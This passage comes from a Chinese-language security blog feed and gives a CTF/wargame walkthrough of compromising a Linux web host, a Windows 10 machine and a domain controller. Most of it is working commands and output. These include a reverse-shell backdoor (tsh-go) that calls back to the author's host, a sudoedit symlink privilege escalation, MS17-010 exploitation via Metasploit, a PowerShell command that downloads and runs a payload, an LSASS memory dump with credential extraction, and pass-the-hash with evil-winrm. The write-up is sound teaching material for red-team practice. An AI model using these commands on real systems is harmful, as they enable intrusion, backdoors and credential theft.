tshd; ./tshd -c cyku.tw -p 8081 -s matanene

[root@cyku tsh-go]$ ./tsh -s matanene -p 8081 cb
Waiting for the server to connect...connected.
www-data@ubuntu:/tmp$ id; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu</code></pre><p>&#x63A5;&#x8457;&#x5C31;&#x662F;&#x5C0B;&#x627E;&#x63D0;&#x6B0A;&#x81F3; root &#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x624B;&#x52D5;&#x770B;&#x4E00;&#x4E0B;&#x8FD1;&#x671F;&#x5E38;&#x898B;&#x7684;&#x6709;&#x6D1E;&#x5DE5;&#x5177;&#xFF0C;&#x6700;&#x5B89;&#x5168;&#x7C21;&#x55AE;&#x7684;&#x5927;&#x6982;&#x662F; pkexec&#xFF0C;&#x4F46;&#x5B83;&#x7684;&#x7248;&#x672C;&#x6709;&#x6D1E;&#x55CE;&#xFF1F;&#x4F86;&#x770B;&#x770B;&#x7248;&#x672C;&#xFF1A;</p><pre><code class="language-text">www-data@ubuntu:/tmp$ pkexec --version
pkexec version 0.105</code></pre><p>&#x55EF; ... ...</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-11.png" class="kg-image" alt loading="lazy" width="704" height="396" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-11.png 600w, https://cyku.tw/content/images/2022/08/image-11.png 704w"></figure><p>&#x61C9;&#x8A72;&#x53EF;&#x4EE5;&#x8DD1;&#x3105;&#xFF0C;&#x53CD;&#x6B63; exploit &#x7121;&#x526F;&#x4F5C;&#x7528;&#xFF0C;&#x7E3D;&#x4E4B;&#x5148;&#x8DD1;&#x8DD1;&#x770B; <a href="https://github.com/ly4k/PwnKit/">PwnKit</a>&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-12.png" class="kg-image" alt loading="lazy" width="600" height="600" srcset="https://cyku.tw/content/images/2022/08/image-12.png 600w"></figure><p>Shit.</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-13.png" class="kg-image" alt loading="lazy" width="1014" height="90" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-13.png 600w, https://cyku.tw/content/images/size/w1000/2022/08/image-13.png 1000w, https://cyku.tw/content/images/2022/08/image-13.png 1014w" sizes="(min-width: 720px) 720px"></figure><p>&#x53EA;&#x597D;&#x518D;&#x638F;&#x51FA;&#x79D8;&#x5BC6;&#x9053;&#x5177; \<a href="https://github.com/rebootuser/LinEnum">LinEnum</a>/&#x3002;</p><pre><code class="language-text">$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
[+] We can sudo without supplying a password!
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/sudoedit /var/www/M30W/*/*/config.php</code></pre><p>&#x5F88;&#x597D;&#xFF0C;&#x9019;&#x500B;&#x770B;&#x8D77;&#x4F86;&#x6A5F;&#x6703;&#x5927;&#x5F97;&#x591A;&#xFF0C;&#x6070;&#x597D; www-data &#x4F7F;&#x7528;&#x8005;&#x4E5F;&#x6709;&#x6B0A;&#x9650;&#x5BEB;&#x5165; /var/www/M30W/wp-content/themes/ &#x8CC7;&#x6599;&#x593E;&#xFF0C;&#x5C31;&#x662F;&#x4E0D;&#x78BA;&#x5B9A; sudoedit &#x80FD;&#x4E0D;&#x80FD;&#x63A5;&#x53D7; symbolic link&#xFF0C;&#x5148;&#x4F86;&#x6E2C;&#x8A66;&#x4E00;&#x4E0B;&#x8B80;&#x53D6; /etc/shadow&#x3002;</p><pre><code class="language-text">www-data@ubuntu:~/$ ln -s /etc/shadow /var/www/M30W/wp-content/themes/config.php

www-data@ubuntu:~/$ sudo /usr/bin/sudoedit /var/www/M30W/wp-content/themes/config.php
root:$6$kIPOT7C/e.3IFtaS$xs96SHbM6TmEhixEEflIFsc80q0dP/8BEyymxuo60Mq8V..eP/yvK8OiQ38W2AxFJqKSorNQCdT/a/3KaE0.k0:19189:0:99999:7:::</code></pre><p>&#x5B8C;&#x7F8E;&#xFF0C;&#x518D;&#x52A0;&#x4E0A;&#x984C;&#x76EE;&#x63D0;&#x5230;&#x7684; 2222 port &#x5176;&#x5BE6;&#x5C31;&#x662F; OpenSSH &#x670D;&#x52D9;&#xFF0C;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x5BEB;&#x5165;&#x4E00;&#x628A; SSH key &#x5230; /root/.ssh/authorized_keys&#xFF0C;&#x7528; root &#x8EAB;&#x5206;&#x900F;&#x904E; 2222 port &#x767B;&#x5165; SSH &#x62FF;&#x5230; pty&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x7528;&#x4F86;&#x6253; tunnel&#x3002;&#x56E0;&#x6B64;&#x9806;&#x5229;&#x62FF;&#x5230;&#x4E86;&#x7B2C; 2 &#x628A; flag&#x3002;</p><pre><code class="language-text">$ ssh root@www.pathnotfound.hitcon -i id_rsa -p 2222
root@ubuntu:~# cat /root/proof.txt
NTUST-ISC{cV3-2015-5602_15_FUnxDDDd}</code></pre><h2 id="3-old-butgold-prooftxt">3. Old-ButGold proof.txt</h2><p>&#x63A5;&#x4E0B;&#x4F86;&#x5C31;&#x662F;&#x9032;&#x5165;&#x6A6B;&#x5411;&#x79FB;&#x52D5;&#x5230; Windows 10 &#x4E3B;&#x6A5F;&#x7684;&#x968E;&#x6BB5;&#x4E86;&#xFF0C;&#x984C;&#x76EE;&#x6709;&#x76F4;&#x63A5;&#x63D0;&#x4F9B; Windows 10 &#x7684; IP&#xFF0C;&#x6240;&#x4EE5;&#x4E0D;&#x7528;&#x53E6;&#x5916;&#x6383;&#x63CF;&#xFF0C;&#x4F46;&#x6211;&#x5011;&#x6C92;&#x6709;&#x5E33;&#x865F;&#x5BC6;&#x78BC;&#xFF0C;&#x9084;&#x662F;&#x5F97;&#x5F9E;&#x76EE;&#x524D;&#x7684;&#x4E3B;&#x6A5F;&#x4E0A;&#x627E;&#x5230;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x7684; credential&#xFF0C;&#x624B;&#x52D5;&#x641C;&#x5C0B;&#x4E86;&#x4E00;&#x4E0B;&#xFF0C;&#x767C;&#x73FE; WordPress &#x8CC7;&#x6599;&#x5EAB;&#x4F7F;&#x7528;&#x8005;&#x770B;&#x8D77;&#x4F86;&#x5F88;&#x53EF;&#x7591;&#x3002;</p><pre><code class="language-text">root@ubuntu:~# cat /var/www/M30W/wp-config.php
/** MySQL database username */
define( &apos;DB_USER&apos;, &apos;meow&apos; );

/** MySQL database password */
define( &apos;DB_PASSWORD&apos;, &apos;meowmeowfatfat&apos; );</code></pre><p>&#x8166;&#x88DC;&#x9019;&#x7D44;&#x5E33;&#x865F;&#x5BC6;&#x78BC;&#x4E5F;&#x5B58;&#x5728; Windows 10 &#x7684;&#x672C;&#x6A5F;&#x4F7F;&#x7528;&#x8005;&#x88E1;&#xFF0C;&#x4E26;&#x5148;&#x8A66;&#x8A66;&#x767B;&#x5165; SMB &#x670D;&#x52D9;&#xFF0C;&#x96D6;&#x7136;&#x662F;&#x6210;&#x529F;&#x767B;&#x5165;&#x4E86;&#xFF0C;&#x53EF;&#x60DC;&#x7684;&#x662F;&#x6C92;&#x6709;&#x4EFB;&#x4F55;&#x6B0A;&#x9650;&#xFF0C;&#x5C31;&#x662F;&#x4E00;&#x822C;&#x4F7F;&#x7528;&#x8005;&#x3002;</p><pre><code class="language-text"># ssh root@www.pathnotfound.hitcon -i id_rsa -p 2222 -NfD 7777 

# echo &apos;socks5 127.0.0.1 7777&apos; &gt; proxychains.conf

# proxychains smbclient.py ./meow:meowmeowfatfat@192.168.120.20
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

Type help for list of commands
# use ADMIN$
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)</code></pre><p>&#x65E2;&#x7136;&#x6C92;&#x6709;&#x6B0A;&#x9650;&#xFF0C;&#x90A3;&#x5C31;&#x4F86;&#x5617;&#x8A66;&#x4E00;&#x4E9B;&#x8001;&#x7684; exploit&#xFF0C;&#x53EC;&#x559A; MS17-010&#xFF01;</p><pre><code class="language-text"># msfconsole
msf6 &gt; use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; set PROXIES socks5:127.0.0.1:7777
msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; set RHOSTS 192.168.120.20
msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; set SMBUser meow
msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; set SMBPass meowmeowfatfat
msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; run
[+] 192.168.120.20:445     - Host is likely VULNERABLE to MS17-010! - Windows 10 Enterprise 14393 x64 (64-bit)
[*] 192.168.120.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed</code></pre><p>&#x518D;&#x6B21;&#x8CD3;&#x679C;&#x3002;</p><p>&#x7531;&#x65BC;&#x591A;&#x8667;&#x6709;&#x4E00;&#x7D44;&#x666E;&#x901A;&#x4F7F;&#x7528;&#x8005;&#x5E33;&#x865F;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; Metasploit &#x7684; auxiliary/admin/smb/ms17_010_command &#x6A21;&#x7D44;&#xFF0C;&#x8A72;&#x6A21;&#x7D44;&#x5229;&#x7528;&#x4E86; MS17-010 &#x7CFB;&#x5217;&#x6F0F;&#x6D1E;&#x5148; information leak &#x5F8C;&#x6AA2;&#x67E5;&#x5B8C;&#x624D;&#x8986;&#x5BEB;&#x8A18;&#x61B6;&#x9AD4;&#xFF0C;&#x4E0D;&#x7528;&#x64D4;&#x5FC3;&#x6703;&#x9020;&#x6210;&#x76EE;&#x6A19; BSOD&#xFF0C;&#x5BE6;&#x5728;&#x662F;&#x5C45;&#x5BB6;&#x65C5;&#x884C;&#x7684;&#x5FC5;&#x5099;&#x826F;&#x85E5;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-14.png" class="kg-image" alt loading="lazy" width="500" height="328"></figure><p>&#x7C21;&#x55AE;&#x9A57;&#x8B49;&#x4E00;&#x4E0B;&#xFF0C;&#x679C;&#x7136;&#x6210;&#x529F;&#xFF0C;&#x592A;&#x68D2;&#x4E86;&#xFF01;&#x6211;&#x5011;&#x53D6;&#x5F97;&#x4E00;&#x500B;&#x5B89;&#x5168;&#x53C8;&#x53EF;&#x91CD;&#x8907;&#x4EE5; system &#x6B0A;&#x9650;&#x5728;&#x76EE;&#x6A19; Windows 10 &#x4E0A;&#x57F7;&#x884C;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x7684;&#x80FD;&#x529B;&#x3002;</p><pre><code class="language-text">msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) &gt; set PROXIES socks5:127.0.0.1:7777
msf6 auxiliary(admin/smb/ms17_010_command) &gt; set SMBUser meow
msf6 auxiliary(admin/smb/ms17_010_command) &gt; set SMBPass meowmeowfatfat
msf6 auxiliary(admin/smb/ms17_010_command) &gt; set COMMAND whoami
msf6 auxiliary(admin/smb/ms17_010_command) &gt; set RHOSTS 192.168.120.20
msf6 auxiliary(admin/smb/ms17_010_command) &gt; run
[*] 192.168.120.20:445     - Authenticating to 192.168.120.20 as user &apos;meow&apos;...
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] 192.168.120.20:445     - Target OS: Windows 10 Enterprise 14393
[*] 192.168.120.20:445     - Built a write-what-where primitive...
[+] 192.168.120.20:445     - Overwrite complete... SYSTEM session obtained!
[+] 192.168.120.20:445     - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.120.20:445     - Getting the command output...
[*] 192.168.120.20:445     - Executing cleanup...
[+] 192.168.120.20:445     - Cleanup was successful
[+] 192.168.120.20:445     - Command completed successfully!
[*] 192.168.120.20:445     - Output for &quot;whoami&quot;:

nt authority\system

[*] 192.168.120.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed</code></pre><p>&#x65BC;&#x662F;&#x8FC5;&#x901F;&#x5730;&#x52A0;&#x5165;&#x4E00;&#x500B;&#x672C;&#x6A5F;&#x4F7F;&#x7528;&#x8005;&#x5E33;&#x865F;&#xFF0C;&#x6E96;&#x5099;&#x8981;&#x7528; wmiexec.py &#x767B;&#x9032;&#x53BB;&#x5927;&#x6BBA;&#x7279;&#x6BBA;&#x6642;&#xFF0C;</p><pre><code class="language-bash"># &gt; net user precure 1qaz@WSX /add
# &gt; net localgroup administrators precure /add

$ proxychains wmiexec.py ./precure:1qaz@WSX@192.168.120.20
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[-] rpc_s_access_denied</code></pre><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-15.png" class="kg-image" alt loading="lazy" width="600" height="802" srcset="https://cyku.tw/content/images/2022/08/image-15.png 600w"></figure><p>&#x76EE;&#x6A19;&#x4E3B;&#x6A5F;&#x662F; Windows 10&#xFF0C;&#x5927;&#x6982;&#x662F; UAC &#x963B;&#x64CB;&#x4E86;&#x6211;&#x5011;&#xFF0C;&#x540C;&#x6642;&#x9084;&#x6709; Windows Defender &#x7684;&#x5B58;&#x5728;&#xFF0C;&#x6B64;&#x6642;&#x6211;&#x5011;&#x6709;&#x5F88;&#x591A;&#x689D;&#x8DEF;&#x53EF;&#x4EE5;&#x9078;&#x64C7;&#xFF0C;&#x4F8B;&#x5982;&#xFF1A;</p><ul><li>&#x958B;&#x555F; RDP&#xFF0C;&#x958B;&#x653E;&#x9632;&#x706B;&#x7246;&#xFF0C;&#x767B;&#x5165;</li><li>&#x5F48;&#x4E00;&#x500B; system &#x53CD;&#x9023; shell</li><li>&#x5F37;&#x5236;&#x95DC;&#x9589; UAC &#x4F46;&#x9700;&#x8981;&#x91CD;&#x555F;</li><li>... ... &#x7B49;</li></ul><p>&#x4F46;&#x8EAB;&#x70BA;&#x4E00;&#x540D;&#x5177;&#x6709;&#x9AD8;&#x9053;&#x5FB7;&#x5FC3;&#x3001;&#x5C08;&#x696D;&#x610F;&#x8B58;&#x7684;&#x7D05;&#x968A;&#x6F14;&#x7DF4;&#x4EBA;&#x54E1;&#x517C;&#x767D;&#x5E3D;&#x99ED;&#x5BA2;&#x517C;&#x8CC7;&#x6DF1;&#x5DE5;&#x7A0B;&#x5E2B;&#x517C;&#x8CC7;&#x8A0A;&#x5C08;&#x5BB6;&#xFF0C;&#x6211;&#x5FC5;&#x9808;&#x767C;&#x63EE;&#x6211;&#x6240;&#x6709;&#x7684;&#x8070;&#x660E;&#x624D;&#x667A;&#xFF0C;&#x9078;&#x64C7;&#x8B8A;&#x52D5;&#x6700;&#x5C0F;&#x3001;&#x4E0D;&#x6703;&#x5F71;&#x97FF;&#x5230;&#x670D;&#x52D9;&#x904B;&#x4F5C;&#x7684;&#x624B;&#x6BB5;&#x3002;</p><p></p><p></p><p>&#x56E0;&#x6B64;&#x6211;&#x9078;&#x64C7;&#x4E86;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-16.png" class="kg-image" alt loading="lazy" width="793" height="238" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-16.png 600w, https://cyku.tw/content/images/2022/08/image-16.png 793w" sizes="(min-width: 720px) 720px"></figure><p>&#x7E3D;&#x4E4B;&#x6211;&#x62FF;&#x5230;&#x4E86;&#x7B2C; 3 &#x628A; flag&#x3002;</p><pre><code class="language-text"># proxychains wmiexec.py ./administrator:1qaz@WSX3edc@192.168.120.20
[proxychains] config file found: /root/wargame/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\&gt;type C:\users\meow\desktop\proof.txt
NTUST-ISC{0ld_BUT_90LD_R19Ht?}

Machine by aifred0729_TW</code></pre><h2 id="4-dc-final-prooftxt">4. DC-Final proof.txt</h2><p>&#x7D42;&#x65BC;&#x4F86;&#x5230;&#x6700;&#x5F8C;&#x4E00;&#x95DC;&#x7684;&#x91CD;&#x982D;&#x6232; Domain Controller&#xFF0C;&#x70BA;&#x4E86;&#x65B9;&#x4FBF;&#x5F8C;&#x7E8C;&#x64CD;&#x4F5C;&#xFF0C;&#x6211;&#x518D;&#x6B21;&#x90E8;&#x7F72;&#x4E86;&#x6211;&#x7684;&#x5F8C;&#x9580;&#x7A0B;&#x5F0F; tsh-go &#x5728; Windows 10 &#x4E3B;&#x6A5F;&#x4E0A;&#xFF0C;&#x6C92;&#x932F;&#xFF01;&#x5B83;&#x652F;&#x63F4; Windows&#xFF0C;&#x76F4;&#x63A5;&#x4E00;&#x884C; PowerShell &#x4E0A;&#x7DDA;&#x3002;</p><pre><code class="language-text"># proxychains wmiexec.py ./administrator:1qaz@WSX3edc@192.168.120.20 -shell-type powershell
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\&gt;Invoke-WebRequest -Uri &apos;http://cyku.tw:8080/tshd.exe&apos; -OutFile &apos;C:\windows\temp\tshd.exe&apos;; C:\windows\temp\tshd.exe -c cyku.tw -p 8082 -s matanene</code></pre><p>&#x6709;&#x500B;&#x8B93;&#x4EBA;&#x8208;&#x596E;&#x7684; pty &#x53CD;&#x9023;&#x5F8C;&#x9580;&#xFF0C;&#x53EF;&#x4EE5;&#x958B;&#x59CB;&#x505A;&#x6B63;&#x4E8B;&#x4E86;&#xFF0C;&#x5148;&#x78BA;&#x8A8D;&#x76EE;&#x6A19;&#x6709;&#x78BA;&#x5BE6;&#x52A0;&#x5165;&#x7DB2;&#x57DF;&#x3002;</p><pre><code class="language-text">C:\&gt;systeminfo

&#x4E3B;&#x6A5F;&#x540D;&#x7A31;:             OLD-BUTGOLD
&#x4F5C;&#x696D;&#x7CFB;&#x7D71;&#x540D;&#x7A31;:         Microsoft Windows 10 &#x4F01;&#x696D;&#x7248;
&#x4F5C;&#x696D;&#x7CFB;&#x7D71;&#x7248;&#x672C;:         10.0.14393 N/A &#x7D44;&#x5EFA; 14393
...
&#x7DB2;&#x57DF;:                 NTUSTsec.hitcon</code></pre><p>&#x9806;&#x4FBF;&#x505A;&#x4E00;&#x4E0B;&#x5F8C;&#x6EF2;&#x900F; ( Post Exploitation ) &#x7684;&#x5DE5;&#x4F5C;&#xFF0C;&#x9019;&#x500B;&#x984C;&#x7D44;&#x53EA;&#x8981;&#x532F;&#x51FA; lsass.exe process &#x8A18;&#x61B6;&#x9AD4;&#x5C31;&#x53EF;&#x4EE5;&#x5F97;&#x5230;&#x4E0B;&#x4E00;&#x6B65;&#x7684;&#x7DDA;&#x7D22;&#xFF0C;&#x96D6;&#x7136;&#x53EA;&#x6709;&#x4E00;&#x884C; PowerShell &#x6307;&#x4EE4;&#xFF0C;&#x4F46;&#x53EF;&#x662F;&#x81F3;&#x95DC;&#x91CD;&#x8981;&#x7684;&#x4E00;&#x6B65;&#x5462;&#xFF01;</p><pre><code class="language-text">C:\&gt;tasklist /svc
lsass.exe                      576 KeyIso, Netlogon, SamSs, VaultSvc

C:\&gt;powershell -c &quot;rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 576 C:\Windows\Temp\lsass.dmp full&quot;</code></pre><p>&#x500B;&#x4EBA;&#x611B;&#x597D;&#x7528; pypykatz &#x5728; Linux &#x4E3B;&#x6A5F;&#x4E0A;&#x76F4;&#x63A5;&#x5206;&#x6790;&#x3002;Yes&#xFF01;&#x5F97;&#x5230;&#x4E00;&#x7D44;&#x7DB2;&#x57DF;&#x4F7F;&#x7528;&#x8005;&#x548C;&#x5BC6;&#x78BC;&#x96DC;&#x6E4A;&#x3002;</p><pre><code class="language-text"># pypykatz lsa minidump lsass.dmp
== LogonSession ==
authentication_id 291158 (47156)
session_id 1
username old-cat
domainname NTUSTSEC
logon_server DC-FINAL
logon_time 2022-08-19T03:16:17.902758+00:00
sid S-1-5-21-894272653-2692002766-2005456273-1108
luid 291158
        == MSV ==
                Username: old-cat
                Domain: NTUSTSEC
                LM: NA
                NT: 0e989a5e07a70d89c1b68166f6e8ea01
                SHA1: 578a6ceab1172485361e7beb90a72e0258608fb1</code></pre><p>&#x63A5;&#x8457;&#x662F;&#x627E;&#x5230; DC &#x7684; IP &#x4F4D;&#x5740; ...</p><pre><code class="language-text">C:\&gt;nltest /dclist:NTUSTsec.hitcon
&#x627E;&#x4E0D;&#x5230;&#x53EF;&#x53D6;&#x5F97; DC &#x6E05;&#x55AE;&#x7684; DC&#x3002;Status = 1355 0x54b ERROR_NO_SUCH_DOMAIN
&#x547D;&#x4EE4;&#x6210;&#x529F;&#x5B8C;&#x6210;</code></pre><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-17.png" class="kg-image" alt loading="lazy" width="2000" height="1181" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-17.png 600w, https://cyku.tw/content/images/size/w1000/2022/08/image-17.png 1000w, https://cyku.tw/content/images/size/w1600/2022/08/image-17.png 1600w, https://cyku.tw/content/images/2022/08/image-17.png 2288w" sizes="(min-width: 720px) 720px"></figure><p>&#x4E00;&#x756A;&#x5C0B;&#x627E;&#x5F8C;&#xFF0C;&#x6211;&#x9084;&#x662F;&#x60F3;&#x4E0D;&#x51FA;&#x4E0B;&#x4E00;&#x500B;&#x95DC;&#x5361;&#x7684;&#x7DDA;&#x7D22;&#x5728;&#x54EA;&#xFF0C;&#x53EA;&#x597D;&#x518D;&#x6B21;&#x4F7F;&#x7528;&#x6700;&#x5148;&#x9032;&#x3001;&#x6700;&#x5C16;&#x7AEF;&#x7684;&#x79D1;&#x6280;&#xFF0C;&#x5DE5;&#x4EBA;&#x667A;&#x6167;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-18.png" class="kg-image" alt loading="lazy" width="631" height="330" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-18.png 600w, https://cyku.tw/content/images/2022/08/image-18.png 631w"></figure><p>&#x5C0D;&#xFF0C;&#x5B83;&#x58DE;&#x4E86;&#x3002;</p><p>&#x679C;&#x7136;&#x9632;&#x79A6;&#x99ED;&#x5BA2;&#x6700;&#x597D;&#x7684;&#x65B9;&#x6CD5;&#x5C31;&#x662F;&#x62D4;&#x9664;&#x7DB2;&#x8DEF;&#x7DDA;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-20.png" class="kg-image" alt loading="lazy" width="531" height="378"></figure><p>&#x4F5C;&#x8005;&#x5354;&#x52A9;&#x78BA;&#x8A8D;&#x5F8C;&#xFF0C;&#x4F3C;&#x4E4E;&#x662F;&#x76EE;&#x6A19;&#x7684;&#x7DB2;&#x8DEF;&#x74B0;&#x5883;&#x6709;&#x9EDE;&#x969C;&#x7919;&#xFF0C;&#x4E0D;&#x904E;&#x6709;&#x63D0;&#x5230; WinRM &#x670D;&#x52D9;&#x61C9;&#x8A72;&#x9084;&#x662F;&#x6B63;&#x5E38;&#x7684;&#xFF0C;&#x53EA;&#x662F;&#x5FC5;&#x9808;&#x8981;&#x5F9E; Windows 10 &#x624D;&#x53EF;&#x4EE5;&#x9023;&#x7DDA;&#x5230;&#xFF0C;&#x4E0D;&#x904E;&#x9019;&#x4E00;&#x5207;&#x90FD;&#x4E0D;&#x662F;&#x554F;&#x984C;&#xFF0C;&#x5167;&#x5EFA;&#x7684;&#x6307;&#x4EE4;&#x5169;&#x884C;&#x5C31;&#x53EF;&#x4EE5;&#x641E;&#x5B9A;&#x3002;</p><pre><code class="language-text">C:\&gt;netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=45985 connectaddress=192.168.150.100 connectport=5985

C:\&gt;netsh advfirewall firewall add rule name=&quot;Open Port 45985&quot; dir=in action=allow protocol=TCP localport=45985
&#x78BA;&#x5B9A;&#x3002;</code></pre><p>&#x6700;&#x5F8C;&#x7684;&#x6700;&#x5F8C;&#xFF0C;&#x7528;&#x5F9E; lsass.exe &#x8A18;&#x61B6;&#x9AD4;&#x4E2D;&#x53D6;&#x5F97;&#x7684;&#x7DB2;&#x57DF;&#x4F7F;&#x7528;&#x8005;&#x548C;&#x5BC6;&#x78BC;&#x96DC;&#x6E4A;&#xFF0C;&#x76F4;&#x63A5;&#x4E0A; evil-winrm &#x53D6;&#x5F97;&#x7B2C; 4 &#x628A; flag&#xFF0C;&#x9806;&#x5229;&#x6536;&#x5DE5;&#x3002;</p><pre><code class="language-text"># proxychains evil-winrm -u old-cat -H 0e989a5e07a70d89c1b68166f6e8ea01 -i 192.168.120.20 -P 45985
Evil-WinRM shell v3.4

*Evil-WinRM* PS C:\Users\old-cat\Documents&gt;type C:\Users\administrator\desktop\proof.txt
NTUST-ISC{M1m1K472_15_8357_700l}

Machine by aifred0729_TW</code></pre><h2 id="%E5%BF%83%E5%BE%97">&#x5FC3;&#x5F97;</h2><p>&#x771F;&#x7684;&#x5F88;&#x611F;&#x8B1D;&#x4F5C;&#x8005; @aifred0729_TW &#x7CBE;&#x5FC3;&#x8A2D;&#x8A08;&#x7684;&#x9019;&#x9053;&#x984C;&#x7D44;&#xFF0C;&#x7D66;&#x4E86;&#x6211;&#x5F88;&#x591A;&#x6A02;&#x8DA3;&#xFF0C;&#x904A;&#x73A9;&#x904E;&#x7A0B;&#x4E2D;&#x771F;&#x7684;&#x8B93;&#x6211;&#x5167;&#x5FC3; waku waku &#x7684;&#xFF0C;&#x67D0;&#x4E9B;&#x9EDE;&#x6709;&#x9EDE;&#x901A;&#x9748;&#x537B;&#x53C8;&#x5F88;&#x771F;&#x5BE6;&#xFF0C;&#x6709;&#x6642;&#x5019;&#x73FE;&#x5BE6;&#x7E3D;&#x662F;&#x6BD4;&#x5C0F;&#x8AAA;&#x9084;&#x8981;&#x96E2;&#x5947;&#xFF0C;&#x5C24;&#x5176;&#x4EE5; Red Team &#x70BA;&#x4E3B;&#x7684; wargame &#x500B;&#x4EBA;&#x89BA;&#x5F97;&#x975E;&#x5E38;&#x5C11;&#x898B;&#xFF0C;&#x7562;&#x7ADF;&#x8981;&#x80FD;&#x5EFA;&#x7F6E;&#x51FA;&#x53EF;&#x4EE5;&#x6309;&#x7167;&#x9810;&#x671F;&#x60C5;&#x5883;&#x9032;&#x884C;&#x7684;&#x74B0;&#x5883;&#xFF0C;&#x53C8;&#x8981;&#x8CBB;&#x5FC3;&#x529B;&#x7167;&#x9867;&#x96A8;&#x6642;&#x53EF;&#x80FD;&#x88AB;&#x5927;&#x5BB6;&#x73A9;&#x58DE;&#x7684;&#x6A5F;&#x5668;&#xFF0C;&#x4E0D;&#x7981;&#x8B93;&#x4EBA;&#x89BA;&#x5F97;&#x662F;&#x5403;&#x529B;&#x4E0D;&#x8A0E;&#x597D;&#x3002;&#x7E3D;&#x4E4B;&#x771F;&#x662F;&#x592A;&#x597D;&#x73A9;&#x4E86;&#xFF01;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2022/08/image-21.png" class="kg-image" alt loading="lazy" width="800" height="450" srcset="https://cyku.tw/content/images/size/w600/2022/08/image-21.png 600w, https://cyku.tw/content/images/2022/08/image-21.png 800w" sizes="(min-width: 720px) 720px"></figure>]]></content:encoded></item><item><title><![CDATA[從 SQL 到 RCE: 利用 SessionState 反序列化攻擊 ASP.NET 網站應用程式]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x4ECA;&#x65E5;&#x4F86;&#x804A;&#x804A;&#x5728;&#x53BB;&#x5E74;&#x67D0;&#x6B21;&#x6EF2;&#x900F;&#x6E2C;&#x8A66;&#x904E;&#x4E2D;&#x767C;&#x73FE;&#x7684;&#x8DA3;&#x4E8B;&#xFF0C;&#x90A3;&#x662F;&#x5728;&#x4E00;&#x500B;&#x98A8;&#x548C;&#x65E5;&#x9E97;&#x7684;&#x4E0B;&#x5348;&#xFF0C;&#x8207;&#x5F80;&#x5E38;&#x4E00;&#x6A23;&#x9032;&#x884C;&#x8457;&#x67AF;&#x71E5;&#x7684;&#x6E2C;&#x8A66;&#x74B0;&#x7BC0;</p>]]></description><link>https://cyku.tw/from-sql-to-rce-exploit-aspnet-app-with-sessionstate/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f340d</guid><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Tue, 21 Apr 2020 10:48:32 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: 